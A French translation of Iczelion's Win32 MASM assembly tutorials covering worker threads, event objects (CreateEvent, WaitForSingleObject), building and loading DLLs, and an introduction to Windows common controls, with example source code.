La dernière sorte de communication c'est l'événement objet. Vous pouvez vous représenter l'événement' comme une sorte de flag. Si l'événement est dans l'état "non signalé", le lien est inerte ou en sommeil, dans cet état, le lien ne reçoit pas d'ordre du CPU. Quand l'événement est dans l'état "signalé", Windows "réveille" le lien et il commence à exécuter la tâche assignée.

Exemple:

Vous devez Downloader le fichier *.Zip en exemple et lancer 'thread1.exe'. Cliquez sur le sous-menu (le menu item) "Savage Calculation". Ça ordonnera au programme d'exécuter l'instruction "add eax, eax" 600,000,000 fois. Remarquez que pendant ce temps-là, vous ne pouvez rien faire dans la fenêtre principale : vous ne pouvez pas la déplacer, vous ne pouvez pas activer son menu, etc. Quand le calcul est achevé, une boîte de message apparaît. Après ça, la fenêtre accepte de nouveau vos commandes normalement.
Pour éviter à l'utilisateur ce type d'inconvénient, nous pouvons déplacer la routine "de calcul" dans un lien de travail (personnel du gouverneur) séparé et laisser le lien primaire (le lien gouverneur) continuer avec sa tâche d'interface utilisateur. Vous pouvez voir que bien que la fenêtre principale réponde plus lentement que d'habitude, elle répond quand même toujours.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_THREAD equ 1
IDM_EXIT equ 2
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMThreadClass",0
AppName db "Win32 ASM MultiThreading Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
ThreadID DWORD ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
0,\
ADDR ThreadID
invoke CloseHandle,eax
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
mov ecx,600000000
Loop1:
add eax,eax
dec ecx
jz Get_out
jmp Loop1
Get_out:
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
ret
ThreadProc ENDP

end start

Analyse:

Le programme principal se présente à l'utilisateur en tant qu'une fenêtre normale avec un menu. Si l'utilisateur choisit le menu item "Create Thread", le programme crée un lien comme indiqué ci-dessous :

.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

La susdite fonction crée un lien qui contrôlera une procédure nommée ThreadProc en parallèle avec le lien primaire. Après que cet appel soit couronné de succès, CreateThread revoie ses valeurs de retours immédiatement et ThreadProc se lance. Puisque nous n'employons pas d'handle de lien, nous devons le fermer sinon il y aura des fuites de mémoire. Notez que la fermeture de l'handle du lien ne termine pas ce lien. Son seul effet est que désormais nous ne pourrons plus employer l'handle du lien.

ThreadProc PROC USES ecx Param:DWORD
mov ecx,600000000
Loop1:
add eax,eax
dec ecx
jz Get_out
jmp Loop1
Get_out:
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
ret
ThreadProc ENDP

Comme vous pouvez le voir, ThreadProc exécute un calcul sauvage (un calcul immense qui occupe le système) qui prend un longue période de temps avant de se terminer, et quand il est finit il envoie enfin le message WM_FINISH vers la fenêtre principale. WM_FINISH est notre message (celui qu'on a créé sur mesure). Il est ainsi défini :

    WM_FINISH equ WM_USER+100h
Vous n'êtres pas obligez d'ajouter WM_USER et 100h mais c'est plus sûr quand même de faire ça.
Le message WM_FINISH n'a de signification uniquement que dans notre programme. Quand la fenêtre principale reçoit le message WM_FINISH, ça fait apparaître une boîte de message disant que le calcul est achevé.
Vous pouvez créer plusieurs liens en même temps en cliquant sur "Create Thread" plusieurs fois.
Dans cet exemple, la communication est à sens unique, c'est pour ça que c'est le lien principal uniquement, qui peut informer la fenêtre principale. Si vous voulez que le lien principal envoie des commandes au lien de travail, voilà comment faire :
  • Ajoutez un sous-menu disant quelque chose dans le genre " Kill Thread" (détruire le lien)
  • Employez une variable globale en tant que simple commande flag. TRUE = Stop le lien, FALSE = continue le lien
  • Modifiez ThreadProc pour vérifier la valeur de la commande flag dans la boucle.
Quand l'utilisateur choisit le sous-menu "Kill Thread", le programme principal mettra la valeur TRUE dans la commande flag. Quand ThreadProc voit que la valeur de la commande flag est TRUE(VRAI), on sort de la boucle et on rompt ainsi les liens.
[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 16: Event Object

Tutorial 16: Event Object

Nous allons apprendre ce qu'est un event object et comment l'employer dans un programme multi-liens.

Downloadez l'exemple ici.

Théorie:

Dans le Tutorial précédent, on a vu comment les liens communiquent avec un message de fenêtre sur mesure (custum). J'ai omis deux autres méthodes : les variables globales et les 'events objets'. On va utiliser les deux dans ce Tutorial.
Un 'event objet', c'est comme un commutateur : il a seulement deux états possibles: on/off. Quand un 'event objet' est allumé, il est dans l'état "signalé" (c'est à dire qu'on l'utilise). Quand il est éteint, il est dans l'état "nonsignalé"(on ne l'utilise pas, on n'y fait référence nulle part). On créer un 'event objet' et on écrit un petit bout de code au niveau des liens appropriés pour observer l'état de l' 'event objet'. Si l' 'event objet' est dans l'état nonsignalé, les liens qui se servent des 'event objet' sont inactifs. C'est bien pratique car lorsque les liens sont en état d'attente, ils consomment peu de temps CPU.
Vous créez 'event object' en appelant la fonction CreateEvent qui a la syntaxe suivante :

CreateEvent proto lpEventAttributes:DWORD,\
bManualReset:DWORD,\
bInitialState:DWORD,\
lpName:DWORD

lpEventAttribute--> Si vous donnez la valeur NULL, l' 'event object' est créé d'une façon par défaut.
bManualReset--> Si vous souhaitez que Windows désactive automatiquement l'event object (off) après l'appel WaitForSingleObject, vous devez taper 'FALSE' pour ce paramètre. Sinon vous devez le désactiver manuellement avec l'appel ResetEvent.
bInitialState--> Au moment où il est créé, si vous souhaitez que l'event object soit dans l'état signalé, mettez TRUE pour ce paramètre, sinon l' event object sera créé avec l'état nonsignalé.
lpName --> C'est le pointer qui repère une chaîne de caractère (ASCIIZ=du texte), laquelle est le nom de l'event object. Ce nom sera employé quand vous voudrez appeler OpenEvent.(pointe sur le nom de l'Event Object)

Si l'appel s'est déroulé avec succès, il renvoie l'handle de l' event object qui vient d'être créé, autrement il renvoie le NULL.
Vous pouvez modifier l'état de l'event object avec deux des appels API : SetEvent et ResetEvent. La fonction SetEvent met l'event object à l'état signalé. ResetEvent fait le contraire.
Après que l'event object soit créé, il vous faut insérez l'appel 'WaitForSingleObject' dans le lien qui dépend de l'état de l'event object. WaitForSingleObject a la syntaxe suivante :

WaitForSingleObject proto hObject:DWORD, dwTimeout:DWORD

hObject --> L'handle d'un des l'objets de synchronisation. L' event object est un type d'objet de synchronisation.
dwTimeout --> C'est à vous de fixer (en millisecondes) le temps maximal que cette fonction peut mettre pour que l'objet passe à l'état signalé. Si le temps indiqué est passé et que l'event object est toujours à l'état nonsignalé, alors WaitForSingleObject rend la main à l'interlocuteur. Si vous voulez attendre indéfiniment, vous devez mettre la valeur 'INFINITE' pour ce paramètre.(c'est aussi -1 en décimal ou FFFFFFFF en hexadécimal).

Exemple:

L'exemple ci-dessous montre une fenêtre attendant que l'utilisateur choisisse une commande du menu. Si l'utilisateur choisit ''run thread'' (lien en route), le lien commence le calcul sauvage (un calcul immense qui occupe le système). Quand il est fini, une boîte de message apparaît, informant l'utilisateur que le travail est terminé. Mais pendant que le lien était en action, l'utilisateur pouvait toujours cliquer sur "stop thread" pour arrêter ce lien.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_START_THREAD equ 1
IDM_STOP_THREAD equ 2
IDM_EXIT equ 3
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMEventClass",0
AppName db "Win32 ASM Event Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0
StopString db "The thread is stopped",0
EventStop BOOL FALSE

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
hMenu HANDLE ?
ThreadID DWORD ?
ExitCode DWORD ?
hEventStart HANDLE ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_ENABLED
.elseif ax==IDM_STOP_THREAD
mov EventStop,TRUE
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000
.WHILE ecx!=0
.if EventStop!=TRUE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif
.ENDW
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
jmp ThreadProc
ret
ThreadProc ENDP
end start

Analyse:

Dans cet exemple, je vous montre une autre technique de lien.

.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

Vous pouvez voir que je crée l'event object ainsi que le lien, pendant le traitement du message WM_CREATE. Je crée l'event object à l'état nonsignalé et avec remis automatique. Après que l'event object soit créé, je crée le lien. Cependant le lien ne se met pas immédiatement au travail parce qu'il attend que l'event object soit mis à l'état 'signalé'. Ci-dessous voici comment le mettre à signalé:

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000

La première ligne de la procédure de lien est l'appel WaitForSingleObject. Ici on attend infiniment que l'event object passe à l'état signalé avant qu'il ne retourne. Ça signifie que même après que le lien soit créé, nous le mettons dans un état d'inactivité.
Quand l'utilisateur choisit la commande du menu "run thread", nous mettons l'event object dans l'état signalé, comme indiqué ci-dessous :

.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart

L'appel SetEvent met l'event object à l'état signalé, ce qui fait qu'à son tour l'appel WaitForSingleObject nous dirige vers la procédure du lien et le lien commence à travailler. Quand l'utilisateur choisit la commande "stop thread", nous mettons la valeur de la variable globale "EventStop" à TRUE.

.if EventStop==FALSE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif

Ceci stop le lien et saute de nouveau à l'appel WaitForSingleObject. Remarquez que nous n'avons pas besoin de remettre manuellement l'event object dans l'état nonsignalé puisque nous avons mis le paramètre bManualReset à FALSE (dans l'appel de CreateEvent).

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32asm tutorial 17: Dynamic Link Libraries

Tutorial 17: Les DLL
(Dynamic Link Libraries)
Bibliothèques de Liaison, Dynamiques

Dans ce Tutorial, nous allons voir les DLLs, ce qu'elles sont et comment les créer.
Vous pouvez télécharger l'exemple ici.

Théorie:

Si vous programmez depuis un petit moment déjà, vous constaterez que les programmes que vous avez l'habitude d'écrire ont quelques routines de code en communs. C'est vraiment une perte de temps de les récrire à chaque fois que vous commencez à développer de nouveaux programmes. Revenons en arrière, aux vieux jours du DOS, les programmeurs ont faits en sorte de stocker les routines les plus généralement employées dans une ou plus bibliothèques. Quand ils veulent utiliser les fonctions, ils ont juste à lier la bibliothèque avec le fichier d'objet, et le linker extrait les fonctions de la bibliothèque et les insère dans le fichier final exécutable. Ce processus est appelé la jonction statique. Les bibliothèques 'Runtime du C' sont de bons exemples. L'inconvénient de cette méthode c'est que vous avez des fonctions identiques dans chaque programme qui les appelle. Votre espace disque est gaspillé stockant plusieurs copies identiques des fonctions. Mais pour les programmes sous DOS, cette méthode est tout à fait valable puisqu'il n'y a généralement qu'un seul programme en action dans la mémoire. Ainsi il n'y a aucune perte précieuse de mémoire.
Sous Windows, la situation devient beaucoup plus critique parce que vous pouvez avoir plusieurs programmes tournant simultanément. La mémoire sera rapidement saturée si votre programme est vraiment grand. Windows a une solution pour ce type de problème : les bibliothèques de liaison dynamiques. Une bibliothèque de liaison dynamique est une sorte de regroupement commun de plusieurs fonctions. Windows ne chargera pas en mémoire plusieurs copies d'une dll, même dans le cas où il y a beaucoup de programmes tournant en même temps. Il fera seulement une copie du dll que le programme emploie dans la mémoire. Et je dois clarifier un peu ce point. En réalité, tous les processus qui emploient la même dll, auront leurs propres copies de cette dll. C'est comme si il y avait plusieurs copies de cette dll en mémoire. Mais en réalité, Windows rend ça magique avec la pagination et tous les morceaux de processus ayant le même code dll. Ainsi en mémoire physique, il y a uniquement une copie du code de la dll. Cependant, chaque process aura sa propre section de données unique du dll.
Le programme se lie avec une DLL pendant l'exécution, à la différence de la vieille bibliothèque statique. C'est pourquoi on appelle la bibliothèque de liaison dynamique. Vous pouvez aussi vous défaire d'une DLL pendant l'exécution quand vous n'en avez plus besoin. Si ce programme est le seul à employer la DLL, il la virera immédiatement de la mémoire. Mais si la DLL est toujours employée par d'autres programmes, la DLL reste en mémoire tant que le dernier programme qui l'emploie s'en défasse.
Cependant, le linker a un travail plus difficile quand il exécute l'adresse fixups pour le fichier final exécutable. Puisqu'on ne peut pas "extraire" les fonctions et les insérer complètement dans le fichier final exécutable, d'une façon ou d'une autre on doit stocker assez d'informations sur la DLL et ses fonctions dans le fichier executable final pour être capable de charger correctement la DLL pendant l'exécution.
C'est là ! que la bibliothèque d'importation entre en jeu. Une bibliothèque d'importation contient les informations de la DLL qu'il représente. Le linker peut extraire des bibliothèques d'importation les renseignements dont il a besoin. Quand le loader Windows charge le programme en mémoire, il voit que le programme se lie avec une DLL donc il essai de trouver cette DLL et la réécrit aussi dans l'espace d'adresse du process(du programme), puis exécute les adresses hors du programme pour les fonctions Call qui appellent la DLL.
Vous pouvez vouloir charger la DLL vous-même sans compter sur le loader (chargeur) de Windows. Cette méthode a son pour et son contre :
  • Il n'y a pas besoin d'une bibliothèque d'importation donc vous pouvez charger et employer n'importe qu'elle DLL même si elle n'est accompagnée d'aucune bibliothèque d'importation. Cependant, vous avez quand même besoin de savoir certaines choses sur les fonctions qu'elle vous propose, des choses comme combien de paramètres elles utilisent…
  • Si vous laissez le loader charger la DLL pour votre programme, et que le loader ne trouve pas cette DLL il annoncera "Le fichier .DLL exigé, xxxxx.DLL est manquant" et paf! Votre programme n'a aucune chance d'être lancé même si cette DLL n'est pas essentiel pour son fonctionnement minimal. Si vous chargez le DLL vous-même, et que la DLL ne peut pas être trouvé et que ce n'est pas essentiel pour l'opération, votre programme le fait remarquer à l'utilisateur mais peut continuer.
  • Vous pouvez utiliser et appeler d'autres fonctions *non décrites dans ces Tuts* qui ne sont pas incluses dans les bibliothèques d'importation. À condition que vous connaissiez assez de renseignements sur ces fonctions.
  • Si vous utilisez LoadLibrary, vous devez appeler GetProcAddress pour chaque fonction que vous souhaitez appeler. GetProcAddress retrouve l'adresse de l'entrypoint d'une fonction à l'intérieur d'une DLL particulière. (l'addresse où commence une fonction particulière). Donc il se peut que votre code soit un peu plus grand et plus lent, mais ça change pas grand chose.
En comparant les avantages / inconvénients d'un appel à LoadLibrary, nous entrons maintenant dans les détails pour créer une DLL.
Le code suivant est le squelette de la DLL. (DLL skeleton.)

;--------------------------------------------------------------------------------------
; DLLSkeleton.asm
;--------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp
;---------------------------------------------------------------------------------------------------
; C'est une fonction factice
; Ça ne fait rien. Je l'ai mise ici pour montrer où vous pouvez insérer des fonctions à l'intérieur d'une DLL.
;----------------------------------------------------------------------------------------------------
TestFunction proc
ret
TestFunction endp

End DllEntry

;-------------------------------------------------------------------------------------
; DLLSkeleton.def
;-------------------------------------------------------------------------------------
LIBRARY DLLSkeleton
EXPORTS TestFunction

Ce tout petit programme ci-dessus est le squelette de la DLL. Chaque DLL doit avoir une fonction d'entrypoint. Windows appellera la fonction d'entrypoint chaque fois que :

  • La DLL est loadée en premier
  • La DLL est unloadée (libérée)
  • Un lien est créé dans ce même process
  • Un lien est détruit dans ce même process
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp

Vous pouvez nommer la fonction d'entrypoint comme vous le souhaitez tant que vous avez une FIN correspondante à 'END ' . Cette fonction prend trois paramètres, dont seulement les deux premier sont importants.
hInstDLL est l'handle du module(de la fonction) de la DLL. Ce n'est pas le même que l'instance handle du process. Vous devez garder cette valeur si vous avez besoin de l'employer plus tard. Vous ne pourrez pas l'obtenir de nouveau aussi facilement.
reason peut être une des quatre valeurs :

  • DLL_PROCESS_ATTACH La DLL reçoit cette valeur quand il est injecté la toute première fois dans l'espace d'adresses du process. Vous pouvez utiliser cette occasion pour faire l'initialisation.
  • DLL_PROCESS_DETACH La DLL reçoit cette valeur quand elle est unloadée (supprimée) de l'espace d'adresses du process. Vous pouvez employer cette occasion pour faire un peu de nettoyage comme désinffecter la mémoire etc…
  • DLL_THREAD_ATTACH La DLL reçoit cette valeur quand le process crée un nouveau lien.
  • DLL_THREAD_DETACH La DLL reçoit cette valeur quand un lien dans le process est détruit.
Renvoyez TRUE dans eax si vous souhaitez que la DLL continue son exécution. Si vous renvoyez FALSE, la DLL ne sera pas chargé. Par exemple, si votre code d'initialisation doit réserver de la mémoire et qu'il ne peut pas faire ça avec succès, la fonction d'entrypoint doit renvoyer FALSE pour indiquer que la DLL ne peut pas être lancée.
Vous pouvez placer vos fonctions dans la DLL après la fonction Entrypoint ou même avant çà. Mais si vous voulez qu'elles soient CALLables par d'autres programmes, vous devez mettre leurs noms dans la liste d'exportation du fichier de définition de module (.def).
Une DLL a besoin d'un fichier de définition de module dans son processus liée à son développement. Nous y jetterons un coup d'œil maintenant.

LIBRARY DLLSkeleton
EXPORTS TestFunction

Normalement vous devez avoir la première ligne. La déclaration LIBRARY définit le nom du module interne (la fonction souhaitée) de la DLL. Vous devez correspondre avec ce module grâce au nom du fichier de la DLL.
La déclaration EXPORTS dit au linker quelles fonctions sont en train de tourner dans la DLL, c'est-à-dire quelles fonctions sont déjà utilisées par d'autres programmes. Dans l'exemple, nous voulons que d'autres modules soient capables d'appeler TestFunction, donc nous mettons son nom dans la déclaration EXPORTS.
Un autre changement c'est le commutateur du linker. Vous devez mettre le commutateut /DLL et /DEF:<votre nom de fichier def> dans votre linker de commutation comme cela :

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLLSkeleton.def /LIBPATH:c:\masm32\lib DLLSkeleton.obj

Les commutateurs d'assembleur sont les mêmes, à savoir /c /coff /Cp. Ainsi après que vous ayez lié le fichier objet, vous obtiendrez *.DLL et *.lib. Le *.lib est la bibliothèque d'importation que vous pouvez employer pour vous lier avec d'autres programmes qui emploient les fonctions de votre DLL.
Ensuite je vous montrerai comment employer LoadLibrary pour charger une DLL.

;---------------------------------------------------------------------------------------------
; UseDLL.asm
;----------------------------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
LibName db "DLLSkeleton.dll",0
FunctionName db "TestHello",0
DllNotFound db "Cannot load library",0
AppName db "Load Library",0
FunctionNotFound db "TestHello function not found",0

.data?
hLib dd ? ; l' handle de la librairie (l' handle de la DLL)
TestHelloAddr dd ? ; l'adresse de la function TestHello

.code
start:
invoke LoadLibrary,addr LibName
;---------------------------------------------------------------------------------------------------------
; Appelle LoadLibrary avec le nom de la DLL désirée. Si l'appel est couronné de succès
; Il renverra l'handle de la bibliothèque (DLL). Sinon, il renverra le NULL.
; Vous pouvez passer l'handle de la bibliothèque à GetProcAddress ou n'importe quelle fonction qui en a besoin
; de l'handle d'une DLL comme paramètre.
;------------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
.else
mov hLib,eax
invoke GetProcAddress,hLib,addr FunctionName
;-------------------------------------------------------------------------------------------------------------
; Quand vous obtenez l'handle de la bibliothèque, vous le passez à GetProcAddress avec l'adresse
; du nom de la fonction de la DLL que vous souhaitez appeler. Ceci renvoie l'adresse
; de la fonction si tout s'est passé avec succès. Autrement, il renvoie le NULL.
; Les adresses des fonctions ne changent pas à moins que vous ne déchargiez puis rechargiez la bibliothèque.
; Donc vous pouvez les placer dans des variables globales pour de futures utilisations.
;-------------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
.else
mov TestHelloAddr,eax
call [TestHelloAddr]
;-------------------------------------------------------------------------------------------------------------
; Ensuite, vous pouvez appeler la fonction avec un appel simple avec la variable contenant
; l'adresse de la fonction comme l'opérande.
;-------------------------------------------------------------------------------------------------------------
.endif
invoke FreeLibrary,hLib
;-------------------------------------------------------------------------------------------------------------
; Quand vous n'avez plus besoin de la bibliothèque, vous la déchargez avec FreeLibrary.
;-------------------------------------------------------------------------------------------------------------
.endif
invoke ExitProcess,NULL
end start

Donc vous pouvez voir que l'utilisation de LoadLibrary est un peu plus impliquée mais c'est aussi plus flexible.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion Win32asm Tutorial 18: Common Controls

Tutorial 18: Commandes Communes
(Common Controls)

Nous allons voir quelles sont les commandes les plus utilisées et voir comment on les emploie. Ce Tutorial sera seulement une rapide introduction à celles-ci.
Downloadez l'exemple ici.

Théorie:

Windows 95 a été doté de plusieurs nouveautés d'interface d'utilisateur que n'avait pas Windows 3.1x. Ceci enrichi encore le GUI (NdT : Graphic User Interface). Plusieurs d'entre eux sont largement employés avant même que Windows 95 ne s'affiche à l'écran, comme la barre de statut, des barres d'outils etc. Les programmeurs doivent les coder eux-mêmes. Maintenant Microsoft les a inclus dans Windows 9x et NT. Nous allons les voir ici.
Voici ces nouvelles commandes :
  • Toolbar -----> (barre d'outils)
  • Tooltip -----> (Bulle d'information: voir tuorial 27)
  • Status bar -----> (barre d'état)
  • Property sheet -----> (feuille de propriété)
  • Property page -----> (page de propriété)
  • Tree view -----> (dossiers organisés sous la forme d'un arbre. Voir tutorial 19)
  • List view -----> (dossiers organisés sous la forme d'une simple liste. Voir tutorial 31)
  • Animation -----> (animation, films AVI)
  • Drag list -----> ()
  • Header -----> (en-tete)
  • Hot-key -----> (fontion touches racourcis)
  • Image list -----> (liste d'images)
  • Progress bar -----> (barre de progression de chargement)
  • Right edit -----> ()
  • Tab -----> (la touche Tab)
  • Trackbar -----> ()
  • Up-down -----> (les flèches haut/bas pour le défilement de d'une page)
Voici une adresse ou vous trouverez de petits programmes d'exemples de chacun de ces Common Control. Ils ont étés codés en C++ et non pas en MASM mais le principe est là. Vous comprendrez ce que chacun d'eux représente.
http://www.microsoft.com/msj/defaulttop.asp?page=/msj/0798/controlspytop.htm
(Merci à Sharpsighted pour l'info. sharpsighted@caramail.com)

Puisque il y en a beaucoup, le fait de les charger en mémoire et les déclarer serait une perte de ressource. Tous, à l'exception du contrôle d'édition, sont stockés dans comctl32.dll. Et n'importe quel programme peut les charger quand il a besoin d'employer une de ces commandes. Le contrôle d'édition (riche ou évolué)réside dans son propre dll, richedXX.dll, parce qu'il est très compliqué et plus volumineux que ses frères.
Vous pouvez charger comctl32.dll grâce à l'inclusion d'un Call InitCommonControls dans votre programme. InitCommonControls est une fonction de comctl32.dll, donc en vous y référant n'importe où dans votre code, fera que le Loader PE chargera comctl32.dll quand votre programme est en court. Vous ne devez pas l'exécuter, incluez la simplement quelque part dans votre code. Cette fonction ne fait RIEN! Sa seule et unique instruction est "ret". Son seul but c'est d'inclure la référence de comctl32.dll dans la section d'importation pour que le Loader PE le charge à chaque fois que le programme est chargé. Le vrai boulot se fait au niveau de l'entrypoint de la fonction DLL qui enregistre toutes les classes de contrôles communs (common control classes) quand le dll est chargé. Les 'Commons Controls' sont créées sur la base de ces classes, tout comme d'autre 'child window controls' tels que la zone d'édition, la liste etc.
Pour le contrôle d'édition évolué (riche) c'est une autre histoire. Si vous voulez l'employer, vous devez appeler LoadLibrary pour le charger et appeler FreeLibrary pour le décharger.
Maintenant nous allons voir comment les créer. Vous pouvez employer un éditeur de ressources pour les incorporer dans des boîtes de dialogue ou bien vous pouvez les créer vous-même. Presque tous les common controls sont créées en appelant CreateWindowEx ou CreateWindow, en leur passant le nom de la classe du contrôle. Quelques common controls ont des fonctions de création spéciales, cependant, ce ne sont que des broutilles autour de CreateWindowEx pour rendre la création de ces 'controls' plus simple. Ces fonctions spécifiques de création sont inscrites ci-dessous :
  • CreateToolbarEx
  • CreateStatusWindow
  • CreatePropertySheetPage
